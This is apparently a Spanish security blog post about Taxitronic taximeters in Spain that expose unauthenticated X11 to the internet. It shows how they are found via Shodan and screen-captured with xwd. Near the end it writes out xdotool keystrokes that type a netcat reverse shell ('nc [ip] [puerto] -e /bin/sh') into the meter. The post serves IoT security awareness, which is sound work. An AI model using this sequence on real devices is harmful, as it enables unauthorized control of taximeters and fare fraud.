¿Quién a día de hoy aún no ha oído hablar del tan conocido y popular IoT (Internet of Things) “Internet de las cosas”? Los avances tecnológicos nos favorecen en muchos campos de nuestras vidas, pero todo tiene su parte negativa si no nos tomamos en serio los riesgos de una mala utilización y en este caso las consecuencias pueden ser muy negativas. Estamos asistiendo a un cambio en ámbito y en escala con la llegada del IoT – o como algunos dicen, el IoE (Internet of Everything) – que hará que dentro de 5 o 6 años prácticamente todos los electrodomésticos en concreto y objetos en general, tengan de serie conectividad con Internet de algún modo u otro. A día de hoy los coches modernos ya traen esta conexión constante vía 2G, 3G o 4G y todos nosotros llevamos encima al menos un dispositivo conectado a Internet constantemente.
Figura 1: Hacking de taxímetros en España vía Shodan |
Hace ya mas de un año que se publicó la primera vulnerabilidad en un automóvil que permitía el control total del vehículo, y ya son comunes las vulnerabilidades en SmartTV, en dispositivos móviles, frigoríficos, lavadoras, cámaras de vigilancia, parquímetros de bicicletas e incluso equipos médicos para controlar el latido del corazón dentro del cuerpo de las personas. La gran variedad de dispositivos y de plataformas dificulta mucho la corrección de estos fallos de seguridad, porque en muchísimos casos la actualización de estos dispositivos no es trivial, no existe o el coste del mismo no permite contar con un ciclo de gestión de la seguridad a largo plazo.
Sin embargo, debemos plantearnos que cuando conectamos algo a Internet está expuesto al mundo entero y que del mismo modo que cuando salimos de casa dejamos la puerta cerrada, en Internet debemos hacer lo mismo con todos los dispositivos que nos unen a la red. Es un trabajo de toda la industria que está involucrada en la evolución del IoT o iremos descubriendo caso tras caso, como vivimos en un mundo muy inseguro. Y en el mundo de la empresa, a veces los responsables de seguridad no saben ni que existen esos dispositivos, por eso hablamos del famoso Shadow IoT.
Figura 2: Taxímetros de Taxitronic |
En este caso os traigo un ejemplo muy llamativo, algunos de los taxímetros que se utilizan en España están conectados también a Internet y no de forma muy segura. En muchos taxis se están implementando taxímetros con conexión vía 3G a Internet para de esta forma integrarlos con las rutas más cortas, sistemas de Big Data y distintas aplicaciones móviles que localizan constantemente al vehículo para enviarle de forma directa una nueva petición de transporte. Sin embargo, una vez más, la mala configuración de estos dispositivos puede conllevar que los trayectos de taxi te salgan gratis o al doble de precio, generando un posible problema para el usuario o para el taxista, depende de lo que un posible atacante quiera realizar.
El ejemplo que os voy a poner hoy es el de los Taxímetros 3G de Taxitronic. Basta con leer documentación de los taxímetros que anuncian en su web para saber que usan un sistema GNU/Linux embebido y con algo más de documentación en Internet es fácil descubrir que la distribución que usan es Pengutronix.
Figura 3: Distribución Pengutronix sobre la que se basa Taxitronix |
Sabiendo la plataforma que usan y que cuentan con conexión a Internet de forma autónoma a cualquiera se le puede pasar por la cabeza hacer un poco de hacking con buscadores e intentar localizar estos dispositivos a través Shodan para saber qué tienen abierto al mundo. Shodan no es un buscador al uso, es muy peculiar por su forma de proceder; realiza barridos completos al rango IPv4 – en IPv6 se quiere hacer similar con Mr.Looquer – y recogiendo los banners de cada puerto en cada dirección IP, para que mas tarde nosotros podamos hacer búsquedas por esta información. En esta caso lo usaremos para buscar por los dispositivos que usan esta plataforma, Pengutronix. Su firma en los banners es «Ptxdist»
Figura 4: Modelos de Taxitronic indexados en Shodan |
No todos los taxímetros tienen que aparecer en estos barridos de Shodan, ya que aquellos que se conecten desde detrás de un proxy sin utilizar una dirección IP pública no aparecerán, pero como las redes son complejas y extensas, es fácil dar con taxímetros conectándose vía SIM desde ubicaciones en las que no hay un proxy que oculte su software. Como podemos ver en la imagen anterior obtenemos más de 70 resultados y si nos fijamos, la sorpresa es mayúscula cuando vemos que tienen el puerto 6000, utilizado por el servicio X11, abierto al exterior.
Figura 5: Puerto 6000 de X Server abierto en distribución Ptxdist |
Tener el servicio X11 abierto significa que hay alguna aplicación gráfica – evidentemente la aplicación del taxímetro – que está siendo ejecutada en el entorno gráfico X de la distribución Linux. Este sistema es especialmente modular, ya que igual que se está lanzando contra el servidor X local, se podría forzar a lanzar la aplicación contra un servidor X situado en otra máquina, por ejemplo la máquina de un posible atacante.
El buscador Shodan, desde hace tiempo, no solo se queda en descubrir qué puertos están abiertos en un determinado servidor, sino que además implementa algunos clientes para mostrar más información pública. Así, por ejemplo, en el caso de los servidores MongoDB que no solicitan autenticación, Shodan muestra el nombre y tamaño de las bases de datos. En el caso de los servidores VNC sin autenticación, Shodan muestra un screenshot de la sesión y, por supuesto, en el caso de los servidores X11 sin autenticación, muestra una captura de lo que se está ejecutando allí. En este caso, varios taxímetros de diferentes taxis de España.
Figura 6: Taxímetros indexados en Shodan directamente |
Sabiendo esto, podríamos saber lo que está apareciendo en la pantalla del taxímetro en todo momento de una forma tan sencilla como conectarnos remotamente cada cierto tiempo al servidor X11 y pedir una captura de pantalla para generar un fichero con la imagen que allí se ve. Este es el ejemplo siguiente:
Figura 7: Captura de una sesión de un taxímetro realizada con xwd |
En esta caso concreto el taxi estaba libre, pero podemos esperar y realizar capturas cuando el taxi esté ocupado como, por ejemplo, en esta ocasión:
Figura 8: Captura hecha con xwd cuando el taxi estaba ocupado |
Al igual que podemos tener acceso al display, podemos simular presiones de teclado o movimientos para manejarlo a nuestro gusto. Aunque si pensamos como un “malo” nuestro interés sería por ejemplo reiniciar el terminal al llegar al destino para que así este marque 0. Esto seria posible con una shell sobre el taxímetro. Como podemos emular las presiones de teclado podemos usar los atajos de teclado:
xdotool key alt+f2 // abrimos un cuadro de dialogo para ejecutar una aplicación
xdotool key x t e r m // escribimos xterm
xdotool key KP_Enter // presionamos Enter para que se abra la terminal
xdotool key n c space [ip] space [puerto] space minus e space slash b i n slash s h KP_Enter <<< Escribimos en el terminal remoto “nc [ip] [puerto] -e /bin/sh”
Solo tendríamos que conectarnos a esa dirección IP y ese puerto para tener un terminal y ejecutar comandos en el taxímetro. Pero también podríamos entretenernos poniendo el taxímetro en modo salvapantallas o cosas similares. Pero bastante está mal a día de hoy el mundo del taxi como para que les metan más problemas encima de los que preocuparse.
Reflexión final
Este ejemplo de los taxímetros, es solo un ejemplo de las repercusiones que tiene el despreocuparse de los dispositivos que tenemos conectados a Internet, a veces parece algo lejano y complejo todo este tipo de situaciones, pero están ahí accesibles a cualquiera y a veces de forma muy sencilla. Todos los implicados en el desarrollo y la evolución del IoT en nuestra sociedad, deben tomar su parte de responsabilidad, desde el usuario hasta el fabricante, para evitar situaciones indeseables en el futuro con cosas menos banales, como son los sistemas SCADA.
Saludos,
Autor: Diego Soto
Nota del autor: Algún paso del proceso ha sido omitido para evitar su reproducción fácilmente